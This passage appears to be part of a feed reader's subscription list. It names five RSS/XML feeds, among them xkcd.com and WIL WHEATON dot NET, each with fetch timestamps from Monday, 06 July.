Whitechapel Anarchist Group XML 21:21, Monday, 06 July 22:10, Monday, 06 July
WIL WHEATON dot NET XML 22:07, Monday, 06 July 22:51, Monday, 06 July
wish XML 22:07, Monday, 06 July 22:52, Monday, 06 July
Writing the Bright Fantastic XML 22:07, Monday, 06 July 22:51, Monday, 06 July
xkcd.com XML 21:42, Monday, 06 July 22:25, Monday, 06 July